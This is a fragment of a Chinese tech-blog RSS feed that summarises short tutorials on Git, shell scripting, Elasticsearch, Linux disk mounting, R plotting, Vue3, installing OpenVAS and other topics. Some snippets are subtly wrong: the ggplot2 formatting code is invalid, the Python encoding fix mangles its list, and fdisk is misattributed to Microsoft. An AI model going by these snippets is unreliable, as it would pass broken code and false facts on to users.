      <description>文章目录 一、环境搭建1.1 安装1.2 环境配置1.2.1配置全局账号1.2.2生成ssh key1.2.3 配置ssh key 1.3 pycharm配置git 二、git常用命令2.1 基础概念2.2 基础命令2.3 示例1-撤销(三种情况)2.3.1代码仅进行了修改2.3.2修改代码且add2.3.3 代码修改,已add、commit2.3.4 小结 三、远程仓库管理3.1介绍3.2 提交本地代码到远程仓库3.2.1基本流程3.2.2小结3.3.3常见错误 四、分支管理4.1 简介4.2常用命令4.3 示例 五、实际项目5.1 gitlab 一、环境搭建 1.1 安装 官网: https://git-scm.com/download下载缓慢，国内镜像地址：https://registry.npmmirror.com/binary.html?path=git-for-windows/选择对应系统的安装包下载后默认安装即可 验证是否安装正确：&#xA;windows/mac： 在命令行输入：git --version&#xA;结果可以看到当前的git版本：&#xA;C:\Users\gao&amp;gt;git --version git version 2.40.1.windows.1 1.2 环境配置 首先需要一个github或者gitee的账号，去对应平台申请账号，申请之后为了本地可以与git进行代码管理即上传下载到gitee或者github，需要配置相应的账号信息。&#xA;windows 鼠标右键，选择 git bash here&#xA;在git bash 中进行对应的配置&#xA;1.2.1配置全局账号 配置用户名：git config --global user.name &#34;your name&#34;&#xA;配置邮箱：git config --global user.email &#34;your email&#34;&#xA;验证配置结果：git config --global --list 或者 git config --global -l</description>
    </item>
    <item>
      <title>系统分析师笔记</title>
      <link>https://bchobby.github.io/posts/6f92978c8aaae179405b7f5d84ff2789/</link>
      <pubDate>Thu, 01 Jun 2023 23:13:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6f92978c8aaae179405b7f5d84ff2789/</guid>
      <description>信息系统生命周期：&#xA;1、立项阶段：企业全局、形成概念、需求分析&#xA;2、开发阶段：系统规划、系统分析、系统设计、系统实施、系统验收&#xA;3、运维阶段：通过验收和移交之后&#xA;4、消亡阶段：更新改造、功能扩展、报废重建&#xA;1、系统规划：初步调查、分析系统目标、子系统组成、拟实施方案、可行性研究、制定系统建设方案。输出物：系统设计任务书：系统建设方案、实施计划&#xA;2、系统分析：业务流程分析、数据与数据流和分析、软件需求分析、网络需求分析。输出物：系统需求规格说明书、软件需求规格说明书、确认测试计划、系统测试计划、初步的用户手册&#xA;3、系统设计：软件架构设计、系统概要设计、详细设计、网络设计。输出物：架构设计文档、概要设计说明书、详细设计说明书、程序规格说明书、概要测试计划、详细测试计划、各类设计图&#xA;4、系统实施：软件编码、软件单元/集成/系统测试、综合布张。输出物：源码、单元测试报告、集成测试报告、操作手册&#xA;5、系统验收：确认测试、试运行。输出物：确认测试报告、项目验收报告&#xA;系统需求分析方法：&#xA;1、面向对象的分析方法&#xA;2、结构化分析方法&#xA;2、面向问题域的分析方法&#xA;软件开发方法：&#xA;一、结构化方法：自顶向下，逐步分解求精、区分阶段，应变能力差&#xA;二、面向对象方法：自底向上，更好应变和复用，符合人们的思维习惯&#xA;三、面向服务的方法：粗粒度、松耦合，标准化、构件化，抽象级别：操作-服务-业务流程&#xA;四、原型法：水平和垂直、抛弃和演化，展示和获取需求&#xA;1、确定用户需求&#xA;2、开发初始原型系统&#xA;3、使用原型确认用户需求&#xA;五、形式化方法：净室软件工程、数学模型化，所有东西均可验证，而不是测试&#xA;六、统一过程UP&#xA;七、敏捷方法&#xA;敏捷宣言：个体和交互胜过过程和工具，可工作的软件胜过大量的文档（实现和测试是核心），客户合作胜过合同谈判，响应变化胜过遵循计划。&#xA;是适应性的，不同于预设性。是以人为本，不是以开发过程为本。是增量迭代，小步快跑，不是整体分阶段。适合小项目。&#xA;1、XP&#xA;4大价值观：沟通，加强面对面沟通。简单：不过度设计。反馈：及时反馈。勇气：接受变更的勇气。&#xA;12条过程实践规则：简单设计、测试驱动、代码重构、结对编程、持续集成、现场客户、发行版本小型化、代码集体所有制、规划策略、规划策略、40小时工作机制&#xA;软件开发模型：&#xA;一、瀑布模型：&#xA;1、软件计划&#xA;2、需求分析&#xA;3、软件设计&#xA;4、程序编码&#xA;5、软件测试&#xA;6、运行维护&#xA;二、V模型：测试贯穿始终，测试分阶段，测试计划提前，需求分析对应验收测试，概要设计对应系统测试，详细设计对应集成测试，编码对应单元测试&#xA;三、原型模型&#xA;四、增量模型&#xA;五、螺旋模型/原型+瀑布：以原型为基础，重点考虑风险。&#xA;1、制定计划：决定目标、方案和限制&#xA;2、风险分析：&#xA;3、实施工程：需求确认、详细设计、编码&#xA;4、客户评估：需求计划、一切计划、组装与测试&#xA;六、喷泉模型/早期面向对象&#xA;七、构件组装模型/基于构件的开发方法：&#xA;1、需求分析与定义&#xA;2、软件架构设计、&#xA;3、构件库的建立：1）构件标准：CORBA、COM、EJB；构件库：构件获取、构件管理&#xA;4、应用软件构建&#xA;5、测试和发布&#xA;八、快速应用开发RAD/瀑布+构件组装：&#xA;1、业务建模&#xA;2、数据建模&#xA;3、过程建模&#xA;4、应用生成&#xA;5、测试与交付&#xA;九、统一过程/统一开发方法：用例驱动，以架构为中心，迭代和增量&#xA;1、初始阶段：定义最终产品视图和业务模型&#xA;2、细化阶段：设计及确定系统架构、制定工作计划及资源要求&#xA;3、构建阶段：开发剩余构件和应用程序功能，把这些构件组装为产品，并进行详细测试&#xA;4、交付阶段：确保软件对最终用户是用的，进行用户环境测试，制作产品发布版本&#xA;十、敏捷开发方法&#xA;1、极限编程：费用控制严格&#xA;2、水晶方法：最少纪律&#xA;3、开放式源码：程序开发人员在地域上分布很广&#xA;4、SCRUM：明确定义了可重复的方法过程，</description>
    </item>
    <item>
      <title>Shell脚本读文件和写文件</title>
      <link>https://bchobby.github.io/posts/f92e64cc2bd915867a56b0f973e28c6c/</link>
      <pubDate>Thu, 01 Jun 2023 23:07:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f92e64cc2bd915867a56b0f973e28c6c/</guid>
      <description>记录：439&#xA;场景：Shell脚本读文件和写文件。&#xA;版本：CentOS Linux release 7.9.2009。&#xA;1.Shell脚本使用cat读取文件内容&#xA;1.1脚本&#xA;脚本名称：b2023060121.sh&#xA;脚本内容：&#xA;#!/bin/bash echo &#39;1.使用cat读取文件内容,使用for in遍历输出&#39; filePath=`pwd` for line in `cat ${filePath}/province.txt` do echo &#34;${line}&#34; done 1.2执行与输出&#xA;执行命令：bash b2023060121.sh&#xA;执行结果：&#xA;[root@hadoop211 tutorial]# bash b2023060121.sh 1.使用cat读取文件内容,使用for in遍历输出 长三角省份有浙江、江苏等。 长三角最大都市是上海。 长三角经济发达。 2.Shell脚本使用read命令和cat命令读取文件内容&#xA;2.1脚本&#xA;脚本名称：b2023060122.sh&#xA;脚本内容：&#xA;#!/bin/bash echo &#39;1.使用read逐行读取cat命令读取的内容,使用while遍历输出&#39; filePath=`pwd` cat ${filePath}/province.txt | while read line do echo &#34;${line}&#34; done 2.2执行与输出&#xA;执行命令：bash b2023060122.sh&#xA;执行结果：&#xA;[root@hadoop211 tutorial]# bash b2023060122.sh 1.使用read逐行读取cat命令读取的内容,使用while遍历输出 长三角省份有浙江、江苏等。 长三角最大都市是上海。 长三角经济发达。 3.Shell脚本使用read命令和输入重定向(&amp;lt;)读取文件&#xA;3.1脚本</description>
    </item>
    <item>
      <title>向量数据库：使用Elasticsearch实现向量数据存储与搜索</title>
      <link>https://bchobby.github.io/posts/b3d587d54df39c94085768ae8cb68ecf/</link>
      <pubDate>Thu, 01 Jun 2023 21:19:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b3d587d54df39c94085768ae8cb68ecf/</guid>
      <description>向量数据库：使用Elasticsearch实现向量数据存储与搜索 向量数据库：使用Elasticsearch实现向量数据存储与搜索一、简介二、实验前准备2.1 创建索引设置向量字段2.2 写入数据 三、向量计算函数3.1 余弦相似度：cosineSimilarity3.2 计算点积：dotProduct3.3 曼哈顿距离：l1norm3.4 欧几里得距离：l2norm3.5 自定义计算函数 Here’s the table of contents:&#xA;向量数据库：使用Elasticsearch实现向量数据存储与搜索 一、简介 Elasticsearch在7.x的版本中支持 向量检索 。在向量函数的计算过程中，会对所有匹配的文档进行线性扫描。因此，查询预计时间会随着匹配文档的数量线性增长。出于这个原因，建议使用查询参数来限制匹配文档的数量（类似二次查找的逻辑，先使用match query检索到相关文档，然后使用向量函数计算文档相关度）。&#xA;访问dense_vector的推荐方法是通过cosinessimilarity, dotProduct, 1norm或l2norm函数。但是需要注意，每个DSL脚本只能调用这些函数一次。例如，不要在循环中使用这些函数来计算文档向量和多个其他向量之间的相似性。如果需要该功能，可以通过直接访问向量值来重新实现这些函数。&#xA;二、实验前准备 2.1 创建索引设置向量字段 创建一个支持向量检索的mapping，字段类型为dense_vector。&#xA;// 7.x 支持的 dims 最大为 1024。 PUT index3 { &#34;mappings&#34;: { &#34;properties&#34;: { &#34;my_vector&#34;: { &#34;type&#34;: &#34;dense_vector&#34;, &#34;dims&#34;: 3 }, &#34;my_text&#34; : { &#34;type&#34; : &#34;keyword&#34; } } } } 2.2 写入数据 PUT index3/_doc/1 { &#34;my_text&#34; : &#34;text1&#34;, &#34;my_vector&#34; : [0.5, 10, 6] } PUT index3/_doc/2 { &#34;</description>
    </item>
    <item>
      <title>Vm挂载虚拟硬盘（手把手教程）</title>
      <link>https://bchobby.github.io/posts/a76f7882d36e32899ce8fa6b7ab848f5/</link>
      <pubDate>Thu, 01 Jun 2023 21:18:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a76f7882d36e32899ce8fa6b7ab848f5/</guid>
      <description>注意：下面还有一些知识的补充 一；前置工作 首先，打开我们的Vm，右击我们要测试的系统，点击设置&#xA;然后我们点击添加， 我这里之前已经添加了一块5G的虚拟硬盘&#xA;在这里默认选择，硬盘，一直下一步&#xA;使用物理硬盘：需要一个真实的硬盘去匹配&#xA;使用现有虚拟硬盘：对已经创建过的虚拟硬盘进行配置&#xA;因为我们没有真实的物理硬盘所以不需要选择第三个，如果有可以选择，既然我们要添加新的虚拟硬盘那就选择第一个。&#xA;在这里选择你要挂载的磁盘容量随你选择，我这里选的是5G&#xA;然后直接点击完成，（如果你是开着系统配置的，请重启系统，让配置生效）&#xA;然后我们直接su - 输入root用户密码切换到管理员模式，然后输入命令ls -l /dev/sdb，原来的那块磁盘叫sda，那你们应该知道挂载的第三块磁盘叫啥了吧！/sdc&#xA;二；分区 我们先来看看我们刚刚创建的虚拟磁盘&#xA;使用fdisk -l命令（关于fdisk 命令及参数下面有补充）&#xA;然后，我们找到这里，sda是我们原有的磁盘，sdb是我们要挂载的磁盘，那么为什么sda下有三个区呢？那是因为别人已经分好区了。待会sdb也会变成这样。我们接着来看，sdb是不是我们刚规定的5G容量，是的&#xA;我们现在来开始对sdb分区，输入 fdisk /dev/sdb,(Fdisk是微软公司在DOS和Windows操作系统中自带的分区软件，该软件性能最稳定、兼容性好，但不支持无损分区，分区时会损坏硬盘上的数据，分区速度很慢，而且不能很好地支持大容量的硬盘分区)&#xA;输入n创建分区，然后再选择创建主分区p，还是扩展分区e，这里默认是创建主分区p，然后给你要创建的分区编号，默认1从开始，（到4结束，在这里采用的是MBR的分区模式，所以只能创建4个主分区，且容量不可以大于2TB）然后要你给定分区的容量，我这里是给了500MB，然后我们再键入p命令，查看分区信息，结果我们可以看到，我们创建的主分区sdb1&#xA;已经分好区了，至于创建扩展分区，我们直接如法炮制就好，只是那个地方我们要选e&#xA;然后我创建了一个主分区和一个扩展分区&#xA;三；高级硬盘格式化 我这里之前就已经对/dev/sdb1进行过格式化了，所以不用再格式化了，如果想再次格式化就再键入f命令（不建议），既然已经格式化，那么我们直接挂载就好，mkfs.xfs的意思是创建一个xfs格式的文件系统在sdb1分区中&#xA;四；挂载 挂载创建的虚拟硬盘的扇区&#xA;我们开始挂载刚刚创建的一个文件shijian 然后df -h 查看一下分区信息这里我们可以看到我们挂载的/media/shijian，但是这里我们还只是临时挂载，系统重启之后就会消失的，要想永久挂载，还要键入vim /etc/fstab 去修改启动文件&#xA;五；永久挂载 后面我们来试一下永久挂载，注意：写错之后就无法进入桌面系统了，所以用Vm同学记得打个快照，没有特殊要求就按这样写就好，但分区格式你用的是那个就是哪个，我用的是xfs，你可能用的是ext2啥的。（首先按i插入，然后写完之后esc退出，按住shift+：，键入wq，保存并且退出）&#xA;然后我们重启系统，一般没报错，就表示成功了（退出后键入reboot命令重启），重启之后，我们发现，我们的挂载还在，就说明挂载成功了。&#xA;注：讲到这里，大家可能对磁盘挂载的理论知识比较蒙，大家可以看一下我的这一篇博客对Linux挂载策略有讲解！&#xA;https://blog.csdn.net/weixin_64972949/article/details/130978747?spm=1001.2014.3001.5502&#xA;补充： 硬盘格式化分为硬盘低级格式化、硬盘分区、硬盘高级格式化。&#xA;① 硬盘低级格式化。主要是对一个新硬盘划分磁道和扇区,通常硬盘低级格式化只做一次,多次进行低级格式化将损害硬盘。&#xA;② 硬盘分区。把硬盘划分为成若干个相对独立的逻辑分区,每个分区有自己的名字,即硬盘标识符(如C:、D:等),操作系统通过硬盘标识符访问硬盘。&#xA;③ 硬盘高级格式化。硬盘建立分区后,使用前必须对每个分区进行高级格式化。高级格式化主要是对指定的硬盘分区进行初始化,建立文件分配表以便系统按指定格式存储文件。&#xA;fdisk命令中的参数以及作用&#xA;m 查看全部可用的参数&#xA;n 添加新的分区&#xA;d 删除某个分区信息&#xA;l 列出所有可用的分区类型&#xA;t 改变某个分区的类型&#xA;p 查看分区表信息&#xA;w 保存并退出&#xA;q 不保存直接退出&#xA;p来查看硬盘设备内已有的分区信息</description>
    </item>
    <item>
      <title>Python按照类划分文件夹</title>
      <link>https://bchobby.github.io/posts/e12a83b6dd96002c45385dd8741744bc/</link>
      <pubDate>Thu, 01 Jun 2023 19:36:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e12a83b6dd96002c45385dd8741744bc/</guid>
      <description>采用的是Cars-196数据集&#xA;文件目录&#xA;cars：&#xA;-car_ims（里面全是图片）&#xA;-cars_annos.mat（标签文件）&#xA;from scipy.io import loadmat import os import shutil basepath = r&#34;D:\A_Datasets\cars&#34; # get image list annos = loadmat(os.path.join(basepath, &#39;cars_annos.mat&#39;), squeeze_me=True)[&#39;annotations&#39;] kind = &#39;test&#39; zeroshot=True imlbs = [] for entry in annos: label = int(entry[5]) istrain = bool(entry[6]) if zeroshot: istrain = True if (label &amp;lt;= 98) else False if (istrain and kind == &#39;test&#39;) or ( not istrain and kind == &#39;train&#39;): continue imlbs.append(( os.</description>
    </item>
    <item>
      <title>r语言在用R的ggplot2包的barplot函数绘制条形图，把有效位数缩减为2或3位么</title>
      <link>https://bchobby.github.io/posts/979861d7c6dc949ad119c638215c69f0/</link>
      <pubDate>Thu, 01 Jun 2023 18:52:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/979861d7c6dc949ad119c638215c69f0/</guid>
      <description>例如，以下代码将y轴的比例尺四舍五入到小数点后两位，并将x轴的比例尺四舍五入到小数点后三位：&#xA;library(ggplot2) library(scales) # 生成示例数据 data &amp;lt;- data.frame(category = c(&#34;A&#34;, &#34;B&#34;, &#34;C&#34;, &#34;D&#34;), value = c(100000, 200000, 300000, 400000)) # 绘制条形图 ggplot(data, aes(x = category, y = value)) + geom_bar(stat = &#34;identity&#34;) + scale_y_continuous(labels = comma_format( thousands = &#34;,.2f&#34; )) + # 四舍五入到小数点后两位，并使用逗号分隔千位 scale_x_continuous(labels = comma_format( thousands = &#34;,.3f&#34; )) + # 四舍五入到小数点后三位，并使用逗号分隔千位 labs(title = &#34;条形图&#34;) 在上面的代码中，我们使用了comma_format()函数来格式化数字，将千位用逗号分隔，同时在scale_y_continuous()和scale_x_continuous()函数中使用了.2和.3来指定数字舍入的位数。这将使图例中的数字看起来更加清晰易读。&#xA;什么是r语言：R语言是一种用于统计分析、绘图的语言和操作环境，是属于GNU系统的一个自由、免费、开源的软件。它是一个用于统计计算和统计制图的优秀工具，可用于分析数据、制作图表、机器学习、数据挖掘等。R语言拥有广泛的统计和图形方法目录，包括机器学习算法、线性回归、时间序列、统计推理等，可帮助用户完成多个任务。虽然R语言是为数学研究工作者设计的一种数学编程语言，但同样适合于统计分析、绘图、数据挖掘等领域。与C语言不同，R语言主要面向数学研究工作者，但同样可以在多种操作系统上使用，包括Windows、Linux、macOS等。R语言的语法来自于Scheme，但与Scheme不同的是，R语言更加强调面向数学研究工作者的应用，因此具有更多的数学函数和统计方法。&#xA;以下是使用R的ggplot2包中的barplot函数绘制条形图的简单示例代码：&#xA;library(ggplot2) # 创建数据框 data &amp;lt;- data.frame( group = c(&#34;A&#34;, &#34;B&#34;, &#34;</description>
    </item>
    <item>
      <title>C&#43;&#43; MFC 获取当前运行程序的路径</title>
      <link>https://bchobby.github.io/posts/0a002a13dab1f817d4d25c04cbf38acc/</link>
      <pubDate>Thu, 01 Jun 2023 17:54:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0a002a13dab1f817d4d25c04cbf38acc/</guid>
      <description>获取当前运行程序的路径&#xA;获取当前进程已加载模块的文件的完整路径，该模块必须由当前进程加载&#xA;如果想要获取另一个已加载模块的文件路径，可以使用GetModuleFileNameEx函数&#xA;CString CConnectSerialPortDlg::GetPathFile() { CString str = _T(&#34;BasicInfo.ini&#34;); TCHAR tcPath[MAX_PATH] = {0}; ::GetModuleFileName(AfxGetInstanceHandle(), tcPath, MAX_PATH*sizeof(TCHAR)); PathRemoveFileSpec(tcPath); CString strPath; strPath.Format(_T(&#34;%s&#34;),tcPath); CString strFileName = strPath + &#34;\\&#34; + str; return strFileName; } **************************************************************************************************************</description>
    </item>
    <item>
      <title>Kali Linux上安装OpenVAS</title>
      <link>https://bchobby.github.io/posts/4167729ea2d1ec124b1007522b71c613/</link>
      <pubDate>Thu, 01 Jun 2023 17:50:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4167729ea2d1ec124b1007522b71c613/</guid>
      <description>要在Kali Linux上安装OpenVAS，请按照以下步骤操作：&#xA;打开终端并输入以下命令以更新Kali Linux：&#xA;sudo apt-get update &amp;amp;&amp;amp; sudo apt-get upgrade -y 安装OpenVAS：&#xA;sudo apt-get install openvas 初始化OpenVAS：&#xA;sudo openvas-setup 此命令将引导您完成设置过程。完成后，可以使用以下命令启动OpenVAS：&#xA;sudo systemctl start openvas-scanner.service sudo systemctl start openvas-manager.service sudo systemctl start openvas-gsa.service 打开Web界面：&#xA;在浏览器中输入以下URL：&#xA;https://localhost:9392 您应该能够看到OpenVAS的登录页面。输入用户名和密码进行登录。</description>
    </item>
    <item>
      <title>UnicodeDecodeError: ‘utf-8‘ codec can‘t decode byte 0xb4...</title>
      <link>https://bchobby.github.io/posts/4b03397663f13f246ccdf615ce90f046/</link>
      <pubDate>Thu, 01 Jun 2023 13:43:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4b03397663f13f246ccdf615ce90f046/</guid>
      <description> UnicodeDecodeError: ‘utf-8’ codec can’t decode byte 0xb4 in position 10: invalid start byte&#xA;原因：中文字符的Unicode编码0x0800-0xFFFF之间,(utf-8包含了部分汉字)&#xA;当你试图将该“中文字符”转成U码的utf-8时超出了其范筹.而GBK 规范收录了 ISO 10646.1 中的全部 CJK 汉字和符号，并有所补充&#xA;解决方法：将.decode(‘utf-8’)改为.decode(‘gbk’)&#xA;#fp = open(&#39;data.txt&#39;,&#39;r+&#39;,encoding=&#39;UTF-8&#39;) fp = open(&#39;data.txt&#39;,&#39;r+&#39;,encoding=&#39;gbk&#39;) lines = [] for line in fp: line = line.strip() lines.append(line) fp.close() lines.insert(6, &#39;渣渣猫&#39;) lines = str(lines) s = &#34;\n&#34;.join(lines) fp = open(&#39;data.txt&#39;, &#39;w&#39;) fp.write(s) fp.close() </description>
    </item>
    <item>
      <title>简单易学！使用 Node.js 编写爬虫，跟着教程一步步实现！</title>
      <link>https://bchobby.github.io/posts/a080547b78465bd229a81340dbfc4c44/</link>
      <pubDate>Thu, 01 Jun 2023 11:11:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a080547b78465bd229a81340dbfc4c44/</guid>
      <description>爬虫是一种可以自动从网页上获取数据的程序，它可以帮助我们收集和分析各种有用的信息。在这篇文章中，我将向你展示如何用 node.js 来编写一个简单的爬虫，只需几步就可以实现。&#xA;1、安装 node.js 和 npm node.js 是一个基于 Chrome V8 引擎的 JavaScript 运行环境，它可以让我们在服务器端运行 JavaScript 代码。npm 是 node.js 的包管理器，它可以让我们方便地安装和管理各种 node.js 模块。&#xA;要安装 node.js 和 npm，你可以访问 https://nodejs.org/ 下载并安装最新版本的 node.js，它会自动包含 npm。你也可以使用其他方法来安装，具体可以参考 https://nodejs.org/en/download/package-manager/ 。&#xA;安装完成后，你可以在命令行中输入以下命令来检查是否安装成功：&#xA;bash node -v npm -v 如果能看到相应的版本号，说明你已经成功安装了 node.js 和 npm。&#xA;2、创建项目文件夹和文件 接下来，我们需要创建一个项目文件夹来存放我们的爬虫代码。你可以在任意位置创建一个文件夹，比如在桌面上创建一个叫做 crawler 的文件夹。&#xA;在这个文件夹中创建一个叫做 index.js 的文件，这个文件就是我们的爬虫主程序。你可以使用任意的文本编辑器来编写这个文件，比如 VS Code、Sublime Text、Notepad++ 等。&#xA;然后在这个文件夹中运行npm init初始化项目，按照提示输入一些项目的相关信息（可以一路回车），项目就算是搭建好啦&#xA;3、安装 request 和 cheerio 模块 为了让我们的爬虫能够发送 HTTP 请求和解析 HTML 文档，我们需要使用两个非常有用的 node.js 模块：request 和 cheerio。&#xA;request 是一个简单的 HTTP 客户端，它可以让我们方便地发送各种 HTTP 请求，并获取响应数据。</description>
    </item>
    <item>
      <title>KEIL5.38 STM32新建工程core_cm3.h报错</title>
      <link>https://bchobby.github.io/posts/c371cefe717d92d4e39cf6b63aad02fd/</link>
      <pubDate>Thu, 01 Jun 2023 11:07:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c371cefe717d92d4e39cf6b63aad02fd/</guid>
      <description>新建工程，该做的都做了后，编译发现报错&#xA;网上找了很久，什么说法的都有，自己定义__INLINE的，都不行。&#xA;而且打开别人的工程，编译是正常的。&#xA;后面才发现别人的工程魔术棒里是ARM Compiler不一样&#xA;因为我自己装的版本是5.38比较新，多了一个新的编译器版本如下图&#xA;这样导致新的编译器和旧的core_cm3不兼容&#xA;把编译器从6降低到5，如下图&#xA;编译就可以了</description>
    </item>
    <item>
      <title>深入了解SAP S/4HANA信用管理：推荐SAP Press - Introducing Credit Management with SAP S/4HANA</title>
      <link>https://bchobby.github.io/posts/0fe8c37b20ce40eb992e7f0d3ed9859d/</link>
      <pubDate>Thu, 01 Jun 2023 10:40:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0fe8c37b20ce40eb992e7f0d3ed9859d/</guid>
      <description>《Introducing Credit Management with SAP S/4HANA》首先介绍了信用管理在企业中的重要性以及其在财务和销售流程中的角色。接着，本书详细介绍了SAP S/4HANA平台上信用管理功能的关键概念、配置和集成。读者将了解如何设置信用检查规则、配置信用限额、处理异常情况以及使用信用管理报表和指标进行风险评估。&#xA;适合阅读的人群： 本书适合以下人群阅读：&#xA;金融和财务专业人员：无论您是财务经理、信用控制员还是风险管理人员，本书将为您提供信用管理的全面视角。通过深入了解SAP S/4HANA平台上的信用管理功能，您将能够优化信用决策流程、降低风险并提高收款效率。销售和客户服务专业人员：对于销售和客户服务团队而言，了解信用管理的重要性和工作原理至关重要。本书将帮助您理解信用检查的过程、信用限额的设置以及如何与客户进行沟通，从而提高订单的收款率和客户满意度。SAP顾问：对于SAP顾问而言，本书是提升在信用管理领域专业知识和技能的关键资源。通过学习本书，您将深入了解SAP S/4HANA平台上信用管理功能的配置和实施，并能够为客户提供定制化的信用管理解决方案，帮助企业实现可持续的财务控制和风险管理。 阅读这本书的好处：&#xA;掌握信用管理知识：通过阅读本书，您将全面了解SAP S/4HANA平台上的信用管理功能和配置选项。您将了解信用检查的原理、信用限额的设置方法以及如何处理信用冲突和异常情况。优化风险控制：信用管理是确保企业财务稳定和可持续发展的重要环节。通过掌握信用管理的最佳实践和工具，您将能够有效评估风险、制定风险控制策略，并提高企业的信用决策能力。提高客户满意度：良好的信用管理可以确保订单的及时处理和交付，从而提升客户满意度。通过本书所提供的指导，您将能够建立可靠的信用决策流程，提供准确的信用信息给销售团队，并加强与客户的沟通和合作。对SAP顾问的帮助：作为SAP顾问，掌握信用管理的知识和技能将增强您在咨询项目中的竞争力。您将能够为客户提供专业的信用管理解决方案，并根据最佳实践和配置选项进行定制化实施。这将提高您的咨询价值，并为客户提供持续的财务控制和风险管理支持。 SAP Press - Introducing Credit Management with SAP S/4HANA 是一本引人入胜的指南，为读者提供了深入了解SAP S/4HANA平台上信用管理的重要资源。无论您是财务专业人员、销售人员还是SAP顾问，本书都将成为您掌握信用管理的关键工具。通过阅读本书，您将学习信用管理的核心概念、功能和配置，并能够应用这些知识来优化财务风险控制、提高客户满意度和实现持续的业务增长。特别对于SAP顾问而言，本书将提升您在信用管理领域的专业知识和技能，使您能够为客户提供高质量的信用管理解决方案，并助其实现可持续的财务控制和风险管理。</description>
    </item>
    <item>
      <title>SSM答辩面试题 V1.0</title>
      <link>https://bchobby.github.io/posts/6eda2494e1e1c50137a11822d7ac5f76/</link>
      <pubDate>Thu, 01 Jun 2023 10:10:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6eda2494e1e1c50137a11822d7ac5f76/</guid>
      <description>SSM答辩面试题 V1.0 文章目录 SSM答辩面试题 V1.0SSM面试题1. Maven项目依赖中作用范围 scope2. Maven项目之间的三种关系及其特征3. 如何理解框架framework4. 如何理解ORM5. MyBatis中#{}和${}的区别是什么？6. MyBatis中当实体类中的属性名和表中的字段名不一样，怎么办 ?7. MyBatis如何获取自动生成的(主)键值？如何完成MySQL的批量操作?8. 讲述下Mybatis的一级、二级缓存9. 简述Mybatis的动态SQL，列出常用的6个标签及作用。10. 描述下IoC依赖注入，有哪些方式11. 解释Spring自动装配的各种模式12. 说一下Spring中支持的bean作用域13. 解释Spring框架中bean的生命周期14. Spring中常用的设计模式15. 说下对Spring面向切面编程(AOP)的理解16. 说下Spring面向切面编程(AOP)的常用术语17. 请描述一下Spring 的声明式事务管理18. SpringMVC中如何实现请求域request中传递数据19. SpringMVC怎么样设定重定向和转发的20.说出Spring/SpringMVC常用的6个注解，并简单描述作用21. SpringMVC中如何实现Restful风格的数据传输和接收22.简述SpringMVC中如何通过Ajax请求返回JSON数据23.SpringMVC中拦截器和JavaEE中Filter的异同24. 简单的谈一下SpringMVC的工作流程25. 简单的谈一下SpringMVC的核心API26.说下==ContextLoaderListener==的作用 SSM面试题 孙小白de学习 此博客为新手学习进阶用途，有错误请大家指正&#xA;1. Maven项目依赖中作用范围 scope 当一个Maven工程添加了对某个jar包的依赖后，这个被依赖的jar包可以对应下面几个可选的范围，默认 是compile。&#xA;依赖范围编译(main)测试(test)部署示例compile √ √ √ log4j provided √ √ × servlet-api lomboktest × √ × junitruntime × √ √ JDBC驱动类system √ √ × 和provided相似，很少用import × × × 只能与dependencyManagement配合使用；学习SpringBoot时会使用 2. Maven项目之间的三种关系及其特征 依赖关系（兄弟关系、朋友关系）：&#xA;项目A依赖项目B，项目A可以访问项目B中某些依赖，避免重复提供 缺点：但是只有范围为compile时可以访问 继承关系（父子关系，并列关系）：</description>
    </item>
    <item>
      <title>static的应用</title>
      <link>https://bchobby.github.io/posts/40b38277e748790c2fcd8ae306a934fe/</link>
      <pubDate>Thu, 01 Jun 2023 09:51:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/40b38277e748790c2fcd8ae306a934fe/</guid>
      <description>static 修饰的静态局部变量：只执行初始化一次，而且延长了局部变量的生命周期，直到程序运行结束以后才释放，可以将此变量的值保存至下一次调用。&#xA;static 修饰全局变量：这个全局变量只能在本文件中访问，不能在其它文件中访问，加上extern 外部声明也不可以。&#xA;参考C/C++ 中 static 的用法全局变量与局部变量 | 菜鸟教程 (runoob.com)</description>
    </item>
    <item>
      <title>vue3实现 下拉框触底加载更多及搜索</title>
      <link>https://bchobby.github.io/posts/b556f0b740f85fe6db9a90d2525878be/</link>
      <pubDate>Thu, 01 Jun 2023 09:42:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b556f0b740f85fe6db9a90d2525878be/</guid>
      <description>思路 做一个全局指令&#xA;查询了大量文章 发现统一用的指令 来实现触底加载功能 实操中发现 在vu3 的版本中&#xA;（我这个项目中）无法通过自定义指令的形参 获取el-select-dropdown .el-select-dropdown__wrap 元素，所以通过el-select中的popper-class给下拉框加入一个类名 实现下拉框的选中，为了 方便指令通用 给el-select 加入自定义属性标签data-class 同popper-class值 ,方便获取到当前标签的popper-class&#xA;2、项目中的实际用法 在el-select 下再次封装&#xA;filtereMethod:自定义筛选的方法&#xA;popper-class：为当前select 下拉框的类名&#xA;data-class： 同popper-class值 是为了解决指令el参数无法获取到.el-select-dropdown .el-select-dropdown__wrap元素&#xA;v-selectLoadMore： 自定义指令&#xA;&amp;lt;el-select v-model=&#34;ruleForm.userId&#34; class=&#34;m-2&#34; data-class=&#34;selectClass&#34; placeholder=&#34;请选择&#34; filterable :filter-method=&#34;filtereMethod&#34; v-selectLoadMore=&#34;getUserList&#34; popper-class=&#34;selectClass&#34; &amp;gt; &amp;lt;el-option v-for=&#34;item in options&#34; :key=&#34;item.userId&#34; :label=&#34;item.nickname&#34; :value=&#34;item.userId&#34; /&amp;gt; &amp;lt;/el-select&amp;gt; const userParams = reactive({ bindSupplier: &#34;2&#34;, page: 0, pageSize: 10, nickname: &#34;&#34; }); // 用于终止加载 后端数据返回的当前列表的总页数 let totalPage = 1; const getUserList = async () =&amp;gt; { if (userParams.</description>
    </item>
    <item>
      <title>Git已经在本地提交过文件了，但又给撤销了，恢复已经撤销的内容</title>
      <link>https://bchobby.github.io/posts/fea481c88ee0ed371382de4e39d256d7/</link>
